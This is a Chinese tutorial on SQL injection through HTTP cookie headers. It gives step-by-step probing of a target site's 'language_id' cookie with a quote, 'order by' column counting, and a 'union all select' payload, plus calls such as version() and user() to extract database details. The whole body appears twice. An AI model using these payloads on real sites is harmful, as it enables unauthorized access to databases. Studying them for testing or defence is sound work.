基于Http Header的SQL注入的方法详解
程序员文章站
2022-07-03 10:58:27
通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机的响应消息。这两种类型的消息由一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。... 12-06-27...
通常http消息包括客户机向服务器的请求消息和服务器向客户机的响应消息。这两种类型的消息由一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。http的头域包括通用头,请求头,响应头和实体头四个部分。每个头域由一个域名,冒号(:)和域值三部分组成。域名是大小写无关的,域值前可以添加任何数量的空格符,头域可以被扩展为多行,在每行开始处,使用至少一个空格或制表符。
如下图:
get / http/1.1
connection: keep-alive
keep-alive: 300
accept:*/*
host: host
accept-language: en-us
accept-encoding: gzip, deflate
user-agent: mozilla/5.0 (windows; u; windows nt 5.1; en-us;
rv:1.9.2.16) gecko/20110319 firefox/3.6.16 ( .net clr 3.5.30729; .net4.0e)
cookie: guest_id=v1%3a1328019064; pid=v1%3a1328839311134
如何执行一个http头的sql注入?
下载插件cookie管理插件
打开cookie管理器,然后单击目标网站
编辑目标网站的cookie,来验证目标网站是否存在http头的sql注入,我们编辑变量language_id的字段内容,添加单引号’刷新页面来判断。
刷新页面,判断是否存在sql注入漏洞
ok,下载插件tamper-data来修改请求的数据内容。
输入一个sql注入语句
如果我们输入order by 5– ,会报以下错误。
所以可以判断得出用户表列为4,再使用cookie管理器,添加以下代码在language_id字段里面:
-1+union+all+select+1,2,3,4
或者输入下面的语句得到数据库用户或版本信息等。
version()
user()
concat(database())
group_concat
用sqlmap注入起来会更简单,后续会带来sqlmap的相关文章 :)
如下图:
get / http/1.1
connection: keep-alive
keep-alive: 300
accept:*/*
host: host
accept-language: en-us
accept-encoding: gzip, deflate
user-agent: mozilla/5.0 (windows; u; windows nt 5.1; en-us;
rv:1.9.2.16) gecko/20110319 firefox/3.6.16 ( .net clr 3.5.30729; .net4.0e)
cookie: guest_id=v1%3a1328019064; pid=v1%3a1328839311134
如何执行一个http头的sql注入?
下载插件cookie管理插件
打开cookie管理器,然后单击目标网站
编辑目标网站的cookie,来验证目标网站是否存在http头的sql注入,我们编辑变量language_id的字段内容,添加单引号’刷新页面来判断。
刷新页面,判断是否存在sql注入漏洞
ok,下载插件tamper-data来修改请求的数据内容。
输入一个sql注入语句
如果我们输入order by 5– ,会报以下错误。
所以可以判断得出用户表列为4,再使用cookie管理器,添加以下代码在language_id字段里面:
-1+union+all+select+1,2,3,4
或者输入下面的语句得到数据库用户或版本信息等。
version()
user()
concat(database())
group_concat
用sqlmap注入起来会更简单,后续会带来sqlmap的相关文章 :)
推荐阅读
-
基于RestTemplate的使用方法(详解)
-
PHP中防止SQL注入攻击和XSS攻击的两个简单方法
-
Mysql误操作后利用binlog2sql快速回滚的方法详解
-
基于SQL2005 SQL2008 表结构信息查询升级版的详解(含外键信息)
-
php中$_GET与$_POST过滤sql注入的方法
-
详解为新版Apache服务器开启HTTP/2支持的方法
-
.Net防sql注入的几种方法
-
对php 判断http还是https,以及获得当前url的方法详解
-
Centos 6.5环境实现本地局域网搭建YUM的方法【基于HTTP】
-
setcookie中Cannot modify header information-headers already sent by错误的解决方法详解